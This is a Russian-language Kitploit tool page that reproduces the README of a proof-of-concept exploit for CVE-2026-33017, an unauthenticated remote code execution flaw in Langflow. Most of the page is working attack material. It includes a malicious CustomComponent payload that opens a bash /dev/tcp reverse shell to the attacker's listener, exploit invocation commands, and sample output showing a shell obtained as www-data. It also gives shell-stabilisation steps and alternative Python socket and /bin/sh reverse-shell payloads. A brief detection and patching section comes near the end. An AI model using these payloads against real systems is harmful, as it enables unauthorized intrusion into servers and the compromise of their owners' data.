Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-33017-PoC-Reverse-Shell — Эксплойт для CVE-2026-33017 — неаутентифицированное RCE в Langflow, позволяющее получить reverse shell через вредоносную полезную нагрузку CustomComponent. | Kitploit
Инструменты/GitHubGitHub/ahseven/cve-2026-33017-poc-reverse-shell
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed TeamingИнструмент Удаленного Доступа
GitHubahseven/cve-2026-33017-poc-reverse-shell

CVE-2026-33017-PoC-Reverse-Shell

Эксплойт для CVE-2026-33017 — неаутентифицированное RCE в Langflow, позволяющее получить reverse shell через вредоносную полезную нагрузку CustomComponent.

Репозиторий
1020 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-33017 — Эксплойт неаутентифицированного RCE в Langflow

📋 Обзор

CVE-2026-33017 — это уязвимость неаутентифицированного удалённого выполнения кода (RCE) в Langflow версиях <= 1.8.2. Уязвимость существует в конечной точке /api/v1/build_public_tmp/{flow_id}/flow, которая не имеет надлежащей аутентификации и позволяет злоумышленникам выполнять произвольный код Python в процессе компиляции графа.

⚠️ Отказ от ответственности

Данный эксплойт предназначен только для образовательных целей и авторизованного тестирования. Несанкционированный доступ к компьютерным системам является незаконным. Используйте этот инструмент только на системах, которыми вы владеете или на тестирование которых у вас есть явное разрешение.

🎯 Затронутые версии

ВерсияСтатус
<= 1.8.2Уязвима
1.9.0Исправлена

🔍 Детали уязвимости

Корневая причина

Уязвимость возникает из-за функции prepare_global_scope() в validate.py, которая вызывает exec() для кода каждого узла CustomComponent без надлежащей изоляции (sandbox). Когда компонент загружается/компилируется, любой код Python на уровне модуля (вне определений классов) выполняется немедленно.

Уязвимая конечная точка

root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow

Характеристики:

  • ❌ Аутентификация не требуется
  • ❌ API-ключ не требуется
  • ❌ Заголовок авторизации не требуется
  • ✅ Данные, контролируемые злоумышленником, передаются напрямую в конструктор графа

Цепочка выполнения кода

root@kitploit:~
Attacker POST → build_public_tmp → start_flow_build() → create_graph() → 
Graph.from_payload() → add_nodes_and_edges() → initialize() → 
_instantiate_components_in_vertices() → instantiate_component() → 
eval_custom_component_code() → prepare_global_scope() → 
exec(compiled_code) ← ВЫПОЛНЕНИЕ ПРОИЗВОЛЬНОГО КОДА

🛠️ Эксплуатация

Предварительные требования

  1. Публичный ID потока (UUID) из экземпляра Langflow
  2. URL цели (экземпляр Langflow)
  3. IP-адрес и порт слушателя для обратной оболочки (reverse shell)

Установка

root@kitploit:~
git clone https://github.com/yourusername/CVE-2026-33017-exploit.git
cd CVE-2026-33017-exploit
pip install -r requirements.txt

Требования

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0

Использование

Базовый синтаксис

root@kitploit:~
python3 exploit.py --url <TARGET_URL> --flow-id <FLOW_ID> --lhost <LISTENER_IP> --lport <LISTENER_PORT>

Примеры

1. Обратная оболочка (Reverse Shell)

root@kitploit:~
# Запуск слушателя
nc -lvnp 4444

# Запуск эксплойта
python3 exploit.py --url https://target.langflow.com --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --lhost 10.10.16.171 --lport 4444

2. Использование коротких опций

root@kitploit:~
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

3. Локальное тестирование

root@kitploit:~
python3 exploit.py -u http://localhost:7860 -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

4. Пользовательский таймаут

root@kitploit:~
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444 -t 30

Аргументы командной строки

АргументКороткийОбязательныйОписание
--url-uДаURL цели (например, https://target.langflow.com)
--flow-id-fДаID потока (UUID) публичного потока
--lhost-lhДаIP-адрес слушателя для обратной оболочки
--lport-lpДаПорт слушателя для обратной оболочки
--timeout-tНетТаймаут HTTP в секундах (по умолчанию: 15)

🔧 Как это работает

1. Структура полезной нагрузки

Эксплойт отправляет вредоносный узел CustomComponent, который выполняет код на уровне модуля:

root@kitploit:~
import os

# Это выполняется немедленно во время загрузки компонента
_x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")

from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data

class ExploitComp(Component):
    display_name="X"
    outputs=[Output(display_name="O",name="o",method="r")]
    def r(self)->Data:
        return Data(data={})

2. Поток выполнения

root@kitploit:~
1. Злоумышленник отправляет POST-запрос на /api/v1/build_public_tmp/{flow_id}/flow
2. Langflow получает вредоносный CustomComponent
3. prepare_global_scope() вызывает exec() для кода компонента
4. Код на уровне модуля выполняется немедленно
   ├── _x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")
5. Обратная оболочка подключается к слушателю злоумышленника
6. Компиляция графа продолжается (но уже слишком поздно)

3. Почему это работает

  • Выполнение на уровне модуля: код вне определений классов выполняется во время exec()
  • Отсутствие изоляции: exec() вызывается без ограничений
  • Отсутствие аутентификации: конечная точка является общедоступной
  • Данные, контролируемые злоумышленником: параметр data встраивается напрямую

📊 Подтверждение концепции (Proof of Concept)

Успешный вывод эксплойта

root@kitploit:~
$ python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

============================================================
  CVE-2026-33017 - Langflow Unauthenticated RCE
============================================================

[!] Убедитесь, что ваш слушатель запущен:
    nc -lvnp 4444

[+] URL цели: https://target.langflow.com/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow
[+] LHOST: 10.10.16.171
[+] LPORT: 4444
[*] Отправка полезной нагрузки эксплойта...
[+] Код состояния: 200
[+] Эксплойт успешно отправлен!
[+] ID задания: abc123-def456-789ghi

[*] Проверьте ваш слушатель на наличие обратной оболочки!
[*] nc -lvnp 4444

$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.171] from (UNKNOWN) [10.129.8.2] 42348
bash: cannot set terminal process group (1526): Inappropriate ioctl for device
bash: no job control in this shell
www-data@langflow:/app$

🚀 Расширенное использование

Стабилизация оболочки

После получения обратной оболочки:

root@kitploit:~
# Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Или используйте script
script /dev/null -c bash

# Отправка в фоновый режим с помощью Ctrl+Z
# Затем выполните:
stty raw -echo
fg
reset
export TERM=xterm

Выполнение пользовательских команд

Измените скрипт для выполнения произвольных команд вместо обратной оболочки:

root@kitploit:~
# В функции build_payload():
return f"""import os

_x = os.system("{command}")

from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data

class ExploitComp(Component):
    display_name="X"
    outputs=[Output(display_name="O",name="o",method="r")]
    def r(self)->Data:
        return Data(data={{}})
"""

Альтернативные полезные нагрузки

1. Обратная оболочка на Python Socket

root@kitploit:~
import os, socket, subprocess

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("LHOST", LPORT))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/bash", "-i"])

2. Обратная оболочка на /bin/sh (если bash недоступен)

root@kitploit:~
import os
os.system("/bin/sh -c 'exec 5<>/dev/tcp/LHOST/LPORT;cat <&5 | while read line; do $line 2>&5 >&5; done'")

🛡️ Обнаружение и предотвращение

Индикаторы обнаружения

  • POST-запросы к /api/v1/build_public_tmp/*/flow без аутентификации
  • Подозрительный код CustomComponent, содержащий os.system() или subprocess
  • Неожиданные файлы /tmp/rce-proof или /tmp/executed
  • Исходящие соединения из контейнеров Langflow

Меры предотвращения

  1. Примените исправление: обновитесь до Langflow 1.9.0 или новее
  2. Внедрите аутентификацию: добавьте надлежащую аутентификацию к конечной точке /build_public_tmp
  3. Проверка входных данных: очищайте ввод кода для CustomComponent
  4. Изоляция (sandboxing): внедрите надлежащую изоляцию для вызовов exec()
  5. Сегментация сети: изолируйте экземпляры Langflow

📚 Ссылки

  • Уведомление GitHub: GHSA-vwmf-pq79-vjvx — официальное уведомление CVE-2026-33017
  • Запись CVE: CVE-2026-33017 на NVD
  • Репозиторий Langflow на GitHub: langflow-ai/langflow
  • OWASP Top 10 — A03:2021 Injection: Памятка по предотвращению инъекций

🗺️ Хронология

ДатаСобытие
Март 2026Уязвимость обнаружена
16 марта 2026Опубликовано уведомление GitHub
Апрель 2026Публичное раскрытие
Апрель 2026Выпущено исправление (1.9.0)

📝 Лицензия

Этот проект предназначен только для образовательных целей. Используйте на свой страх и риск.

⚖️ Правовое уведомление

Данное программное обеспечение предоставляется только для образовательных целей и авторизованного тестирования безопасности. Авторы не несут ответственности за любое неправомерное использование или ущерб, причинённый данным программным обеспечением. Пользователи несут единоличную ответственность за соблюдение всех применимых законов и нормативных актов.


Сделано с 🖤 для исследований в области безопасности

Скачать инструмент